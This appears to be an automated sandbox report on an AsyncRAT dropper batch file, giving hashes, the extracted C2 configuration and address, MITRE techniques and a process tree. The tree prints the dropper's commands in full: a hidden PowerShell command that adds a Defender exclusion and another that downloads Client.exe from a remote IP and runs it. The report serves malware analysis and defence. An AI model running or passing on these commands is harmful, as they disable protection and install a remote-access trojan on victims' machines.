asyncrat | 6308f3eef2d45148c4544a0c31d5bb73f28dac4b6fcb854e003e2caa0c39d26f

General

Target

sasa.bat
Size

7KB
MD5

90c3dfd74d6ab4b7b98777930ab44a23
SHA1

7f536fa9c3972c4416e8620335e39f9e93092103
SHA256

6308f3eef2d45148c4544a0c31d5bb73f28dac4b6fcb854e003e2caa0c39d26f
SHA512

aab364913c7f3972a136d2cf9241e46adf275bf74cdaedd0697746b4d0244a517a832154ead9849c36d2cc710c80e2754cff1d2b5c845041f0b5e0d6fd115a92
SSDEEP

12:b4tdk5jtnrC0yyGyDF98oul666666666666HW4xmBWp/CR898U7LtaJO20c1H:b4/otrlyRKubxwWRCRKpJD8H

Score

10^/10

asyncrat default execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://20.199.84.103/Client.exe

Extracted

Family

asyncrat

Version

1.0.7

Botnet

Default

C2

127.0.0.1:1024

20.199.84.103:1024

Mutex

DcRatMutex_qwqdanchun

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral1/files/0x00080000000120fe-21.dat	family_asyncrat

Blocklisted process makes network request 1 IoCs

flow	pid	Process
2	2196	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2160	powershell.exe
2196	powershell.exe
2160	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
808	Client.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2160	powershell.exe
2196	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2160	powershell.exe
Token: SeDebugPrivilege	2196	powershell.exe
Token: SeDebugPrivilege	808	Client.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2716 wrote to memory of 2236	2716	cmd.exe	31
PID 2716 wrote to memory of 2236	2716	cmd.exe	31
PID 2716 wrote to memory of 2236	2716	cmd.exe	31
PID 2716 wrote to memory of 2160	2716	cmd.exe	32
PID 2716 wrote to memory of 2160	2716	cmd.exe	32
PID 2716 wrote to memory of 2160	2716	cmd.exe	32
PID 2716 wrote to memory of 2196	2716	cmd.exe	33
PID 2716 wrote to memory of 2196	2716	cmd.exe	33
PID 2716 wrote to memory of 2196	2716	cmd.exe	33
PID 2716 wrote to memory of 808	2716	cmd.exe	34
PID 2716 wrote to memory of 808	2716	cmd.exe	34
PID 2716 wrote to memory of 808	2716	cmd.exe	34

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\sasa.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2716
- C:\Windows\system32\fsutil.exe
  fsutil dirty query C:
  2⤵
  PID:2236
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -w hidden -c Add-MpPreference -ExclusionPath "C:\Windows\Temp\"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2160
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -w hidden -c "(New-Object System.Net.WebClient).DownloadFile('http://20.199.84.103/Client.exe', 'C:\Windows\Temp\Client.exe')"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2196
- C:\Windows\Temp\Client.exe
  "C:\Windows\Temp\Client.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:808

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\CabA833.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
763051d6249cb12261c5588da70022ad

SHA1
c8f4447a79c3e983da10b84a74af88d822375241

SHA256
e893d7101741db6648f8da843c31cbfb028ab8ea624574901dba84a3032ec734

SHA512
635cff3967f0df343211f6fb92b2071f867143a5eb1ef668949918ff124fec40d60d0940f22499d633780acd6defbf6aeabc23fcb980b1bde4c79a8af13d5c76

Download Submit
C:\Windows\Temp\Client.exe

Filesize
47KB

MD5
fedb1274930bfa08a83480134a3f1412

SHA1
d47be6340ecd780274b98dad463749eb2d9d49fd

SHA256
a8fcd268b48c903e21500439d6754500d59d12d7d5d4e2c7ea737661fa8fe230

SHA512
ba1d2a9745b837c1f984577a5d96bff1b2c126d86fd75c7e763b085ea8440360899d383be10a7a6f31bbd87c215c3dfed82c03c15880e8f4ef336c411cb448b4

Download Submit
memory/808-23-0x00000000008B0000-0x00000000008C2000-memory.dmp

Filesize
72KB

Download
memory/2160-10-0x000007FEF6100000-0x000007FEF6A9D000-memory.dmp

Filesize
9.6MB

Download
memory/2160-6-0x0000000002860000-0x0000000002868000-memory.dmp

Filesize
32KB

Download
memory/2160-4-0x000007FEF63BE000-0x000007FEF63BF000-memory.dmp

Filesize
4KB

Download
memory/2160-11-0x000007FEF6100000-0x000007FEF6A9D000-memory.dmp

Filesize
9.6MB

Download
memory/2160-9-0x000007FEF6100000-0x000007FEF6A9D000-memory.dmp

Filesize
9.6MB

Download
memory/2160-8-0x000007FEF6100000-0x000007FEF6A9D000-memory.dmp

Filesize
9.6MB

Download
memory/2160-7-0x000007FEF6100000-0x000007FEF6A9D000-memory.dmp

Filesize
9.6MB

Download
memory/2160-5-0x000000001B650000-0x000000001B932000-memory.dmp

Filesize
2.9MB

Download
memory/2196-18-0x0000000002220000-0x0000000002228000-memory.dmp

Filesize
32KB

Download
memory/2196-17-0x000000001B5E0000-0x000000001B8C2000-memory.dmp

Filesize
2.9MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads